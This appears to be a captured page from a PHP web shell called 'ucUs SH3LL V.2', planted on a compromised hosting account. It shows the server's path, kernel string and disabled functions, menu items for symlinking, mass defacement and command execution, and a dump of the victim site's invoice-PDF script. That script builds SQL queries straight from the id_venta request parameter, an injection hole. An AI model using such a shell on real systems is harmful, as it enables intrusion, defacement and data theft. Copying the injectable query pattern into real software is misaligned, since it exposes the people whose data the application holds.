Comming ucUs SH3LL V.2

Path : /home/gujo45me/public_html/margarita/pdf/
Disable Functions : exec,passthru,shell_exec,system
System : Linux server-604606.appsiete.com 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64

[ Home ][ Zone-h ][ Jumping ][ Symlink ][ Mass Depes ][ Command ]

File Upload :
Current File : /home/gujo45me/public_html/margarita/pdf/imprimeA4.php

<?php 
 ob_start();
    header('Content-Type: text/html; charset=UTF-8');
    //require("fpdf/fpdf.php");
    require("fpdf/pdf_js.php");
    require("phpqrcode/qrlib.php");
    require_once("PDF417/vendor/autoload.php");
    use BigFish\PDF417\PDF417;
    use BigFish\PDF417\Renderers\ImageRenderer;
    include ("letras/NumeroALetras.php");
    include ("config.php");


    /******************************************************************************************/
    /* consultas SQL
    /******************************************************************************************/

    $id = $_GET['id_venta'];

    $mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);

    //Para obtener los datos de la venta
    $query1 = "SELECT mp.nombre as medio, sd.codigo as cod_detraccion, sd.nombre as detraccion, v.*, v.created_at as hora, u.username, c.*, l.direccion as direc, l.telefono as telef FROM ventas v INNER JOIN clientes c ON v.id_cliente = c.id_cliente 
        INNER JOIN local l ON v.id_local = l.id_local  
        INNER JOIN usuarios u ON v.id_usuario = u.id_usuario 

        INNER JOIN sujeto_detraccion sd ON v.id_sujeto_detraccion = sd.id_sujeto_detraccion
        INNER JOIN medios_pago mp ON v.id_medios_pago = mp.id_medios_pago

        WHERE id_venta = '".$id."' ";
    $result1 = $mysqli->query($query1);
    $row1 = $result1->fetch_assoc();

    //Para obtener los detalles de la venta
    $query2 = "SELECT d.* , p.* , u.abreviatura FROM detalle_venta d INNER JOIN productos p ON d.id_producto = p.id_producto INNER JOIN unidad_medida u ON p.id_unidad_medida = u.id_unidad_medida WHERE id_venta = '".$id."' AND d.estado = 1";
    $result2 = $mysqli->query($query2);

    //Para obtener los datos de la empresa
    $query3 = "SELECT * FROM empresa WHERE id_empresa = '1' ";
    $result3 = $mysqli->query($query3);
    $row3 = $result3->fetch_assoc();

    //Para obtener los datos del tipo de comprobante
    $query4 = "SELECT t.* FROM ventas v INNER JOIN tipo_comprobante t ON v.id_tipo_comprobante = t.id_tipo_comprobante WHERE id_venta = '".$id."' ";
    $result4 = $mysqli->query($query4);
    $row4 = $result4->fetch_assoc();


    //Para obtener los detalles de la cuota
    $query5 = "SELECT * FROM ventas_credito WHERE id_venta = '".$id."' ";
    $result5 = $mysqli->query($query5);


    // Variables correspondientes a la factura.
    $RUC        = $row1['numero_documento'];    // RUC.
    $NomRazSoc  = $row1['nombre'];              // Nombre o Razón social.
    $FecEmi     = $row1['fecha_venta'];         // Fecha de emisión.
    $Domicilio  = $row1['direccion'];           // Domicilio de cliente
    $CodHash    = "";                           // Código Hash.
    $TipoDoc    = $row1['id_tipo_comprobante']; // Tipo de documento.
    $TotGrav    = 0;                            // Total gravado.
    $TotIGV     = 0;                            // Total IGV.
    $TotMonto   = 0;                            // Total importe. 
    $autoriza   = $row3['autorizacion'];
    $pagina     = $row3['pagina_web'];
    $empresa    = $row3['razon_social'];
    
    $xml = @file_get_contents('../sunat/xml/comprobantes/'.$row3['ruc'].'-'.$row4['codigo'].'-'.$row1['nombre_comprobante'].'.xml');

    if ($xml) {
        // Obteniendo datos del archivo .XML 
        $DOM = new DOMDocument('1.0', 'ISO-8859-1');
        $DOM->preserveWhiteSpace = FALSE;
        $DOM->loadXML($xml);

       // Obteniendo Codigo Hash
        $DocXML = $DOM->getElementsByTagName('DigestValue');
        $i=0;
        foreach($DocXML as $Nodo){
            if ($i==0){
                $CodHash = $Nodo->nodeValue; 
            }
            $i++;
        } 
    }    
   
    // TOTALES DE LA FACTURA 
    
    $sub_total_afe = 0;
    $sub_total_exo = 0;
    $sub_total_ina = 0;
    $total = 0;
    $igv = 0;
    $desc = 0;
    $ii=0;
    $total_icbper = 0;
    $tiene_icbper = 0;

    while($row2 = $result2->fetch_assoc())
    {    
        $array['detalle'][$ii]['descripcion'] = $row2['nombre']." ".$row2['descripcion']; 
        $array['detalle'][$ii]['unidad_medida'] = $row2['abreviatura']; 
        $array['detalle'][$ii]['cantidad'] = number_format($row2['cantidad'] , 4, ".", ""); 
        $array['detalle'][$ii]['precio_unitario'] = number_format($row2['precio_venta'], 4, ".", ""); 
        $array['detalle'][$ii]['subtotal'] = number_format($row2['precio_venta_total'] , 2, ".", ""); 
        $array['detalle'][$ii]['descuento'] = number_format($row2['descuento'] , 2, ".", ""); 
        

        if ( $row2['situacion_impuesto'] == "AFECTO") {
            $sub_total_afe = $sub_total_afe + $row2['precio_venta_neto'];
            $igv = $igv + $row2['impuesto'];
        }
        else if ( $row2['situacion_impuesto'] == "EXONERADO") {
            $sub_total_exo = $sub_total_exo + $row2['precio_venta_neto'];
        }
        else if ( $row2['situacion_impuesto'] == "INAFECTO") {
            $sub_total_ina = $sub_total_ina + $row2['precio_venta_neto'];
        }

        if ($row2['icbper'] == 1 ) {
            $total_icbper = $total_icbper + $row3['valor_icbper'] * $row2['cantidad'] ;
            $tiene_icbper = 1;
        }

        $ii++;
    }

    //cuota

    if ($row1['numero_cuotas'] > 0) {
        $kk=0;
        while($row5 = $result5->fetch_assoc())
        {    
            $array['cuota'][$kk]['numero_cuota'] = $row5['numero_cuota']; 
            $array['cuota'][$kk]['fecha_pago_cuota'] = $row5['fecha_pago_cuota']; 
            $array['cuota'][$kk]['monto_cuota'] = $row5['monto_cuota']; 
            $kk++;
        }
    }

    $TotGrav = number_format($sub_total_afe+$sub_total_exo+$sub_total_ina, 2, '.', '');
    $TotIGV = number_format($igv, 2, '.', '');
    $TotICBPER = number_format($total_icbper , 2, '.', '');
    $TotMonto = number_format($row1['total_venta'], 2, '.', '');       


    // Crear el gráfico con el código de barras
    $nom_f = $row1['nombre_comprobante'];
    $tip_f = $row4['nombre'];
    $ruc_e = $row3['ruc'];
    /*$textoCodBar = "
        | RUC : $ruc_e
        | $tip_f ELECTRONICA
        | $nom_f
        | SUBTOTAL : $TotGrav
        | IGV : $TotIGV
        | ICBPER : $TotICBPER
        | TOTAL : $TotMonto
        | $FecEmi
        | $CodHash
        "; */

    $textoCodBar = "
        | $ruc_e
        | $nom_f
        | $TotGrav
        | $TotIGV
        | $TotMonto
        | $FecEmi
        ";

    $pdf417 = new PDF417();
    $codigo_barra = $pdf417->encode($textoCodBar);
    // Create a PNG image
    $renderer = new ImageRenderer( ['format' => 'png'] );
    $image = $renderer->render($codigo_barra);
    $image->save('image/image_hash.png');


    // PARA GENERAR IMAGEN QR
    $qr_ruta="image/image_qr.png";
    $qr_tamano=10;
    $qr_level="Q";
    $qr_frame=3;
    QRcode::png($textoCodBar, $qr_ruta, $qr_level, $qr_tamano,$qr_frame); 

 

    /******************************************************************************************/
    /* Creamos documento PDF
    /******************************************************************************************/

    $pdf=new PDF('P','cm','Letter');
    $pdf->AliasNbPages();
    $pdf->AddPage();
    $pdf->AddFont('IDAutomationHC39M','','IDAutomationHC39M.php');
    $pdf->AddFont('verdana','','verdana.php');
    $pdf->SetAutoPageBreak(true);
    $pdf->SetMargins(0, 0, 0);
    $pdf->SetLineWidth(0.02);
    $pdf->SetFillColor(0,0,0);
    $pdf->Footer(true);


    function cargarEncabezado($pdf, $row1, $row2, $row3, $row4, $Domicilio, $autoriza, $pagina, $CodHash) {

        /******************************************************************************************/
        /* ENCABEZADO
        /******************************************************************************************/

        $pdf->SetTextColor(0,0,150);

        $pdf->image("../public/img/logo_empresa.jpg", 1.2, 1.2 , 4.2, 1.5); // x , y, ancho, alto
        $pdf->RoundedRect(1, 1, 10, 2.5, 0.2, ''); 

        
        $pdf->SetFont('arial','B',10);
        $pdf->SetXY(5.5,1.5);
        $pdf->MultiCell(5.5, 0.4, utf8_decode($row3['razon_social']), 0, "C", 0);
        
        $pdf->SetTextColor(0,0,0);
        $pdf->SetFont('arial','',7);
        $pdf->SetXY(1,2.9);
        $pdf->MultiCell(10, 0.3, utf8_decode($row1['direc']), 0,'C', 0);

        $pdf->SetXY(1,3.2);
        $pdf->MultiCell(10, 0.3, ""."Telf: ".$row1['telef'], 0,'C', 0);


        $pdf->RoundedRect(12, 1, 8, 2.5, 0.2, ''); 

        $pdf->SetTextColor(170,0,0);
        $pdf->SetFont('arial','',14);
        $pdf->SetXY(12,1.5);
        $pdf->Cell(8, 0.25, "RUC: ".$row3['ruc']."", 0, 1,'C', 0);

        $pdf->SetTextColor(0,0,0);
        $pdf->SetFont('arial','B',12);
        $pdf->SetXY(12,2.2);
        $pdf->Cell(8, 0.25, utf8_decode($row4['nombre']." ".($row4['nombre'] == "BOLETA" ? " DE VENTA ": "")." ELECTRÓNICA"), 0, 1,'C', 0); 

        $pdf->SetTextColor(0,0,150);
        $pdf->SetFont('arial','',14);
        $pdf->SetXY(12,2.9);
        $pdf->Cell(8, 0.25, $row1['nombre_comprobante'], 0, 1,'C', 0); 

        /******************************************************************************************/
        /* DATOS DEL CLIENTE
        /******************************************************************************************/
       
        $h_titu = $pdf->GetMultiCellHeight(15.3, 0.15, utf8_decode($row1['nombre']) , $border=null, $align='L'); 
        $h_domi = $pdf->GetMultiCellHeight(15.3, 0.15, utf8_decode($Domicilio) , $border=null, $align='L');  

        $pdf->RoundedRect(1, 4, 19, 3.2+$h_titu+$h_domi, 0.2, ''); 

        $pdf->SetTextColor(0,0,0);
        $pdf->SetFont('arial','B',10);

        if ($row4['nombre'] == "FACTURA") {
            $pdf->SetXY(1.1,4.2);
            $pdf->Cell(1, 0.35, utf8_decode("Razon Social              :"), 0, 1,'L', 0);

            $pdf->SetXY(1.1,5.4+$h_titu+$h_domi);
            $pdf->Cell(1, 0.35, utf8_decode("RUC"), 0, 1,'L', 0);
        }
        else {
            $pdf->SetXY(1.1,4.2);
            $pdf->Cell(1, 0.35, utf8_decode("Señor(es)                    :"), 0, 1,'L', 0);

            $pdf->SetXY(1.1,5.4+$h_titu+$h_domi);
            $pdf->Cell(1, 0.35, utf8_decode("Nº Documento"), 0, 1,'L', 0);
        }

        $pdf->SetXY(1.1,4.8+$h_titu);
        $pdf->Cell(1, 0.35, utf8_decode("Dirección                    :"), 0, 1,'L', 0);

        $pdf->SetXY(1.1,6.0+$h_titu+$h_domi);
        $pdf->Cell(1, 0.35, utf8_decode("Fecha de emisión"), 0, 1,'L', 0);

        $pdf->SetXY(1.1,6.6+$h_titu+$h_domi);
        $pdf->Cell(1, 0.35, utf8_decode("Moneda"), 0, 1,'L', 0);


        $pdf->SetTextColor(0,0,0);
        $pdf->SetFont('arial','',10);

        $pdf->SetXY(5.0,4.2);
        $pdf->MultiCell(15.3, 0.35, utf8_decode($row1['nombre']), 0, 'L', 0);

        $pdf->SetXY(5.0,4.8+$h_titu);
        $pdf->MultiCell(15.3, 0.35, utf8_decode($Domicilio), 0, 'L', 0);

        $pdf->SetXY(4.7,5.4+$h_titu+$h_domi);
        $pdf->Cell(1, 0.35, ":  ".utf8_decode($row1['numero_documento']), 0, 1,'L', 0);

        $pdf->SetXY(4.7,6.0+$h_titu+$h_domi);
        $pdf->Cell(1, 0.35, ":  ".date_format(date_create($row1['fecha_venta']), 'd-m-Y')."     Hora : ".date("H:i:s", strtotime($row1['hora'])), 0, 1,'L', 0); 


        // Tipo de pago
        if ($row1["tipo_pago"] == "EFECTIVO" || $row1["tipo_pago"] == "TARJETA" || $row1["tipo_pago"] == "LIQUIDACION") {
            $tipo_pago = "CONTADO";
        } else { $tipo_pago = "CREDITO"; }
        $pdf->SetXY(4.7,6.6+$h_titu+$h_domi);
        $pdf->Cell(1, 0.35, ":  ".utf8_decode("SOLES")."                Tipo Pago : ". $tipo_pago, 0, 1,'L', 0);
        //Fecha vencimiento
        if ($row1["tipo_pago"]=="CREDITO") {
            $pdf->SetXY(12.7,6.6+$h_titu+$h_domi);
            //$pdf->Cell(1, 0.35, " Fecha de vencimiento : ". $row1["fecha_pago"], 0, 1,'L', 0);
        }

        /******************************************************************************************/
        /* ENCABEZADO DE PRODUCTOS
        /******************************************************************************************/
        
        $Y = $h_titu+$h_domi;

        $pdf->SetTextColor(0,0,0);
        $pdf->SetFont('arial','B',10);

        $pdf->SetXY(1,$Y+8);
        $pdf->Cell(2, 0.5, utf8_decode("Cant."), 1, 1,'C', 0);

        $pdf->SetXY(3,$Y+8);
        $pdf->Cell(2, 0.5, utf8_decode("U.M."), 1, 1,'C', 0);

        $pdf->SetXY(5,$Y+8);
        $pdf->Cell(9, 0.5, utf8_decode("Descripción"), 1, 1,'C', 0);

        $pdf->SetXY(14,$Y+8);
        $pdf->Cell(2, 0.5, utf8_decode("Precio"), 1, 1,'C', 0);

        $pdf->SetXY(16,$Y+8);
        $pdf->Cell(2, 0.5, utf8_decode("Descuento"), 1, 1,'C', 0);

        $pdf->SetXY(18,$Y+8);
        $pdf->Cell(2, 0.5, utf8_decode("Importe"), 1, 1,'C', 0);

        /******************************************************************************************/
        /* PIE DE PAGINA
        /******************************************************************************************/

        $pdf->line(1, 25.8, 20.5, 25.8);

        if ($row3['modulo_puntos'] != 0 && $row1['id_cliente'] != 1) {
            $puntos = intdiv($row1['total_venta'], 10);
            //PIE DE PAGINA
            $pdf->SetTextColor(0,0,0);
            $pdf->SetFont('arial','I',9);
            $pdf->SetXY(1,26);
            $pdf->MultiCell(19.5, 0.35, utf8_decode("Representación Impresa de la ". ($row4['nombre'] == "BOLETA" ? "BOLETA DE VENTA " : $row4['nombre'])." ELECTRONICA \n Código Hash: $CodHash  
                Autorizado para ser Emisor Electrónico por la $autoriza \n $pagina \n CON ESTA COMPRA USTED ACUMULÓ $puntos PUNTO(S), GRACIAS POR SU PREFERENCIA !! "), 0, 'C');
        } 
        else {
            $pdf->SetTextColor(0,0,0);
            $pdf->SetFont('arial','I',9);
            $pdf->SetXY(1,26);
            $pdf->MultiCell(19.5, 0.35, utf8_decode("Representación Impresa de la ". ($row4['nombre'] == "BOLETA" ? "BOLETA DE VENTA " : $row4['nombre'])." ELECTRONICA \n Código Hash: $CodHash 
                Autorizado para ser Emisor Electrónico por la $autoriza \n $pagina \n GRACIAS POR SU PREFERENCIA !!"), 0, 'C');
        }
        

        return $Y;
    }

    $Y2 = cargarEncabezado($pdf, $row1, $row2, $row3, $row4, $Domicilio, $autoriza, $pagina, $CodHash);

    /******************************************************************************************/
    /* LISTA  DE PRODUCTOS
    /******************************************************************************************/
    
    $Y = $Y2 + 8.5;
    $Y1 = 0;

    for ($i=0; $i < sizeof($array['detalle']) ; $i++) { 

        $pdf->SetFont('arial','', 9);

        $h_descrip = $pdf->GetMultiCellHeight(9, 0.5, utf8_decode($array['detalle'][$i]['descripcion']), $border=null, $align='L'); 
        
        $pdf->SetXY(1,$Y+$Y1);
        $pdf->Cell(2, $h_descrip, utf8_decode($array['detalle'][$i]['cantidad']), 1, 1,'C', 0);

        $pdf->SetXY(3,$Y+$Y1);
        $pdf->Cell(2, $h_descrip, utf8_decode($array['detalle'][$i]['unidad_medida']), 1, 1,'C', 0);

        $pdf->SetXY(5,$Y+$Y1);
        $pdf->MultiCell(9, 0.5, utf8_decode($array['detalle'][$i]['descripcion']) , 1, "L", 0);
        
        $pdf->SetXY(14,$Y+$Y1);
        $pdf->Cell(2, $h_descrip, $array['detalle'][$i]['precio_unitario'], 1, 1,'R', 0);

        $pdf->SetXY(16,$Y+$Y1);
        $pdf->Cell(2, $h_descrip, ($array['detalle'][$i]['descuento']==0 ? $array['detalle'][$i]['descuento'] : '-'.$array['detalle'][$i]['descuento'] ), 1, 1,'R', 0);

        $pdf->SetXY(18,$Y+$Y1);
        $pdf->Cell(2, $h_descrip, $array['detalle'][$i]['subtotal'], 1, 1,'R', 0);

        $Y1 = $Y1 + $h_descrip;

        if ($Y1>9) {
            $pdf->AddPage();
            $pdf->Footer(true);
            $Y2 = cargarEncabezado($pdf, $row1, $row2, $row3, $row4, $Domicilio, $autoriza, $pagina, $CodHash);
            $Y = $Y2 + 8.5;
            $Y1 = 0;
        }
        
    }   

    $pdf->image('image/image_qr.png',4.7, $Y1+9.3, 5, 5); //x,y,anto, ancho

    //numeros de cuenta
    $pdf->SetFont('arial','',9);
    $pdf->SetXY(1, $Y1+9.8);
    $pdf->MultiCell(7, 0.35, is_null($row3['numeros_cuenta']) ? "" : "NUMEROS DE CUENTA: \n\n".utf8_decode($row3['numeros_cuenta']) , 0, 'L'); 

    $pdf->SetTextColor(0,0,0);
    $pdf->SetFont('arial','',10);


   // if ($row1['id_tipo_comprobante'] == 1) { 

        if ($sub_total_afe != 0) {
            $pdf->SetXY(9.9,$Y1+9.5);
            $pdf->Cell(7.6, 0.5, utf8_decode("Valor de Venta - Operaciones Gravadas       S/ "), 1, 1,'R', 0);

            $pdf->SetXY(17.5,$Y1+9.5);
            $pdf->Cell(2.5, 0.5, number_format($sub_total_afe,2), 1, 1,'R', 0);

            $Y1 = $Y1 + 0.5;
        }

        if ($sub_total_exo != 0) {
            $pdf->SetXY(9.9,$Y1+9.5);
            $pdf->Cell(7.6, 0.5, utf8_decode("Operaciones Exoneradas       S/ "), 1, 1,'R', 0);

            $pdf->SetXY(17.5,$Y1+9.5);
            $pdf->Cell(2.5, 0.5, number_format($sub_total_exo,2), 1, 1,'R', 0);

            $Y1 = $Y1 + 0.5;
        }

        if ($sub_total_ina != 0) {
            $pdf->SetXY(9.9,$Y1+9.5);
            $pdf->Cell(7.6, 0.5, utf8_decode("Operaciones Inafectas       S/ "), 1, 1,'R', 0);

            $pdf->SetXY(17.5,$Y1+9.5);
            $pdf->Cell(2.5, 0.5, number_format($sub_total_ina,2), 1, 1,'R', 0);

            $Y1 = $Y1 + 0.5;
        }

        

        $pdf->SetXY(9.9,$Y1+9.5);
        $pdf->Cell(7.6, 0.5, utf8_decode("IGV       S/ "), 1, 1,'R', 0);

        $pdf->SetXY(17.5,$Y1+9.5);
        $pdf->Cell(2.5, 0.5, number_format($TotIGV,2), 1, 1,'R', 0);

        //tiene ICBPER
        if ($tiene_icbper == 1) {
            $Y1 = $Y1 + 0.5;
            $pdf->SetXY(9.9,$Y1+9.5);
            $pdf->Cell(7.6, 0.5, utf8_decode("ICBPER       S/ "), 1, 1,'R', 0);
            $pdf->SetXY(17.5,$Y1+9.5);
            $pdf->Cell(2.5, 0.5, number_format($TotICBPER,2), 1, 1,'R', 0);
        }


        // TIENE DETRACCION
        if ($row1['tipo_venta'] == 'DETRACCION') {
            $Y1 = $Y1 + 0.5;
            $pdf->SetXY(9.9,$Y1+9.5);
            $pdf->Cell(7.6, 0.5, utf8_decode("Detracciones       S/ "), 1, 1,'R', 0);
            $pdf->SetXY(17.5,$Y1+9.5);
            $pdf->Cell(2.5, 0.5, number_format($row1['detraccion_total'],2), 1, 1,'R', 0);
        }

        // TIENE RETENCION
        if ($row1['tipo_venta'] == 'RETENCION') {
            $Y1 = $Y1 + 0.5;
            $pdf->SetXY(9.9,$Y1+9.5);
            $pdf->Cell(7.6, 0.5, utf8_decode("Retenciones       S/ "), 1, 1,'R', 0);
            $pdf->SetXY(17.5,$Y1+9.5);
            $pdf->Cell(2.5, 0.5, number_format($row1['retencion_total'],2), 1, 1,'R', 0);
        }

   // }    


    $pdf->SetFont('arial','B',12);
    $pdf->SetXY(9.9,$Y1+10);
    $pdf->Cell(7.6, 0.7, utf8_decode("Importe Total       S/ "), 1, 1,'R', 0);

    $pdf->SetXY(17.5,$Y1+10);
    $pdf->Cell(2.5, 0.7, number_format($TotMonto,2), 1, 1,'R', 0);

    //Monto en letras
    $letras = NumeroALetras::convertir($TotMonto, 'soles', 'centimos');
    $pdf->SetFont('helvetica','BI',8);
    $pdf->SetXY(9.9, $Y1+11);
    $pdf->MultiCell(10.1, 0.4,"SON : ".$letras ."  SOLES", 0, 'L');
    $h_letras = $pdf->GetMultiCellHeight(10.1, 0.4, $letras, $border=null, $align='L'); 

    // nombre de usuario
    $pdf->SetXY(0.9,$Y1+12.5);
    $pdf->MultiCell(5, 0.4,"USUARIO : ".$row1['username'] , 0, 'L');

    //Observacion

    /*if (!is_null($row1['observacion'])) {
        $pdf->SetFont('helvetica','I',8);
        $pdf->SetXY(9.9,$Y1+11.5+$h_letras);
        $pdf->MultiCell(10.1, 0.4,"OBSERVACION : ".utf8_decode($row1['observacion']) , 0, 'L');
    }*/

    $pdf->SetFont('helvetica','I',8);
    if ($row1['tipo_venta'] == 'NORMAL') {
        if (!is_null($row1['observacion'])) {
            $pdf->SetXY(9.9,$Y1+11.5+$h_letras);
            $pdf->MultiCell(10.1, 0.4,"OBSERVACION : ".utf8_decode($row1['observacion']) , 0, 'L');
        }
    }

    if ($row1['tipo_venta'] == 'DETRACCION') {
        
        $tx_ob="OPERACIÓN SUJETA AL SISTEMA DE PAGO DE OBLIGACIONES TRIBUTARIAS CON EL GOBIERNO CENTRAL. DETRACCIÓN  S/. ".$row1['detraccion_total']."  -- ".$row1['porcentaje_detraccion']."% (CÓDIGO ".$row1['cod_detraccion']." - ".$row1['detraccion']."). CUENTA DE DETRACCIONES ".$row3['cuenta_detraccion'].", MEDIO DE PAGO: ".$row1['medio']  ;    
        $pdf->SetXY(9.9,$Y1+11.5+$h_letras);
        $pdf->MultiCell(10.1, 0.4,"OBSERVACION : ".utf8_decode($tx_ob) , 0, 'L');
    }

    if ($row1['tipo_venta'] == 'RETENCION') {
        $tx_ob="ESTE DOCUMENTO ESTA AFECTO A RETENCION - MONTO DE RETENCION S/ ".$row1['retencion_total'];
        $pdf->SetXY(9.9,$Y1+11.5+$h_letras);
        $pdf->MultiCell(10.1, 0.4,"OBSERVACION : ".utf8_decode($tx_ob) , 0, 'L');
    }





    //CUOTAS

    if ($row1['numero_cuotas'] > 0 && $row1["tipo_pago"]=="CREDITO") {
        // nombre de usuario
        $pdf->SetFont('arial','B',8);
        $Y1=$Y1+1;
        $pdf->SetXY(1,$Y1+13.4);
        $pdf->MultiCell(5, 0.4,"INFORMACION DEL CREDITO" , 1, 'C');

        $pdf->SetFont('arial','',8);
        $pdf->SetXY(6,$Y1+13.4);
        $pdf->MultiCell(3.2, 0.4,"Total de Cuotas : ".sizeof($array['cuota']) , 1, 'C');

        $pdf->SetXY(9.2,$Y1+13.4);
        $pdf->MultiCell(6.5, 0.4,"Monto Pendiente de Pago : S/ ".$TotMonto , 1, 'C');


        $pdf->SetFont('arial','',8);
        $j=0;
        for ($i=0; $i < sizeof($array['cuota']) ; $i++) { 
            $pdf->SetXY(1 +$j,$Y1+13.5+$h_letras);
            $pdf->Cell(1.5, 0.5, utf8_decode("Nº Cuota "), 1, 1,'C', 0);
            $pdf->SetXY(2.5 +$j,$Y1+13.5+$h_letras);
            $pdf->Cell(1.7, 0.5, utf8_decode("Fec. Venc. "), 1, 1,'C', 0);
            $pdf->SetXY(4.2 +$j,$Y1+13.5+$h_letras);
            $pdf->Cell(1.5, 0.5, utf8_decode("Monto "), 1, 1,'C', 0);

            $pdf->SetXY(1 +$j,$Y1+14+$h_letras);
            $pdf->Cell(1.5, 0.5, utf8_decode($array['cuota'][$i]['numero_cuota']), 1, 1,'C', 0);
            $pdf->SetXY(2.5 +$j,$Y1+14+$h_letras);
            $pdf->Cell(1.7, 0.5, utf8_decode($array['cuota'][$i]['fecha_pago_cuota']), 1, 1,'C', 0);
            $pdf->SetXY(4.2 +$j,$Y1+14+$h_letras);
            $pdf->Cell(1.5, 0.5, utf8_decode($array['cuota'][$i]['monto_cuota']), 1, 1,'C', 0);
            $j=$j+5;

        }    
    }


    //==============================================================================
    $pdf->AutoPrint(true);
    $pdf->Output();
    unlink('image/image_hash.png');

ob_end_flush(); 

Copyright © 2019 | Powered By MecUs7